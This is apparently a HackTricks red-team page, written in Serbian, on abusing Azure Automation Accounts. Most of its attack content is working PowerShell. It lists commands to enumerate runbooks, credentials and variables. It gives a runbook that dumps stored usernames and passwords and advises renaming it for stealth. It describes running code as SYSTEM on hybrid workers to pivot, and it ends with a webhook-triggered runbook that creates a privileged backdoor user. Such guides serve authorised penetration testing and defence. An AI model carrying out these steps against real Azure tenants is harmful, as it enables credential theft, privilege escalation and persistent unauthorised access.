Az - Automation Account

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Iz dokumentacije: Azure Automation pruža uslugu automatizacije zasnovanu na oblaku, ažuriranja operativnog sistema i konfiguracije koja podržava dosledno upravljanje u okviru vašeg Azure i ne-Azure okruženja. Uključuje automatizaciju procesa, upravljanje konfiguracijom, upravljanje ažuriranjima, deljene mogućnosti i heterogene funkcije.

Ovo su kao "zakazani zadaci" u Azure-u koji će vam omogućiti izvršavanje stvari (akcija ili čak skripti) za upravljanje, proveru i konfiguraciju Azure okruženja.

Run As nalog

Kada se koristi Run as nalog, kreira se Azure AD aplikacija sa samopotpisanim sertifikatom, kreira se servisni princip i dodeljuje se uloga Contributor za nalog u trenutnoj pretplati (mnogo privilegija). Microsoft preporučuje korišćenje Managed Identity za Automation Account.

Ovo će biti uklonjeno 30. septembra 2023. godine i zamenjeno sa Managed Identities.

Runbooks & Jobs

Runbooks vam omogućavaju da izvršite proizvoljni PowerShell kod. To bi moglo biti zloupotrebljeno od strane napadača kako bi se ukrale dozvole povezanog principala (ako postoji). U kodu Runbook-a takođe možete pronaći osetljive informacije (kao što su akreditivi).

Ako možete pročitati poslove, uradite to jer sadrže izlaz iz izvršavanja (potencijalno osetljive informacije).

Idite na Automation Accounts --> <Izaberite Automation Account> --> Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections

Hybrid Worker

Runbook se može pokrenuti u kontejneru unutar Azure-a ili u Hybrid Worker-u (mašina van Azure-a). Agent za Log Analytics se implementira na virtuelnoj mašini kako bi je registrovao kao hybrid worker. Poslovi hybrid worker-a se izvršavaju kao SYSTEM na Windows-u i kao nxautomation nalog na Linux-u. Svaki Hybrid Worker je registrovan u Hybrid Worker Group.

Dakle, ako možete da izaberete da pokrenete Runbook u Windows Hybrid Worker-u, izvršićete proizvoljne komande unutar spoljne mašine kao System (lepa tehnika pivota).

Kompromitacija State Configuration (SC)

Iz dokumentacije: Azure Automation State Configuration je Azure usluga za upravljanje konfiguracijom koja vam omogućava pisanje, upravljanje i kompajliranje PowerShell Desired State Configuration (DSC) konfiguracija za čvorove u bilo kojem oblaku ili lokalnom datacentru. Usluga takođe uvozi DSC resurse i dodeljuje konfiguracije ciljnim čvorovima, sve to u oblaku. Do Azure Automation State Configuration možete pristupiti u Azure portalu tako što ćete izabrati State configuration (DSC) pod Configuration Management.

U ovim konfiguracijama mogu se pronaći osetljive informacije.

RCE

Moguće je zloupotrebiti SC da se pokrenu proizvoljni skriptovi na upravljanim mašinama.

pageAz - State Configuration RCE

Enumeracija

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Kreiranje Runbook-a

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Izvlačenje podataka o pristupu i promenljivih definisanih u Automation Account-u korišćenjem Run Book-a

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Možete uraditi istu stvar modifikujući postojeći Run Book, i to putem web konzole.

Koraci za podešavanje automatizovanog kreiranja korisnika sa visokim privilegijama

1. Inicijalizacija Automation Account-a

  • Potrebna akcija: Kreirajte novi Automation Account.

  • Specifično podešavanje: Proverite da je omogućeno "Create Azure Run As account".

2. Uvoz i podešavanje Runbook-a

  • Izvor: Preuzmite primer runbook-a sa MicroBurst GitHub repozitorijuma.

  • Potrebne akcije:

  • Uvezite runbook u Automation Account.

  • Objavite runbook kako bi bio izvršiv.

  • Povežite webhook sa runbook-om, omogućavajući spoljne okidače.

3. Konfiguracija AzureAD modula

  • Potrebna akcija: Dodajte AzureAD modul u Automation Account.

  • Dodatni korak: Proverite da su svi Azure Automation moduli ažurirani na najnovije verzije.

4. Dodela dozvola

  • Uloge za dodelu:

  • User Administrator

  • Subscription Owner

  • Cilj: Dodelite ove uloge Automation Account-u radi neophodnih privilegija.

5. Svest o mogućem gubitku pristupa

  • Napomena: Imajte na umu da konfigurisanje ovakve automatizacije može dovesti do gubitka kontrole nad pretplatom.

6. Pokretanje kreiranja korisnika

  • Pokrenite webhook kako biste kreirali novog korisnika slanjem POST zahteva.

  • Koristite pruženi PowerShell skript, obezbeđujući da zamenite $uri sa stvarnom URL adresom webhook-a i ažurirajte $AccountInfo sa željenim korisničkim imenom i lozinkom.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated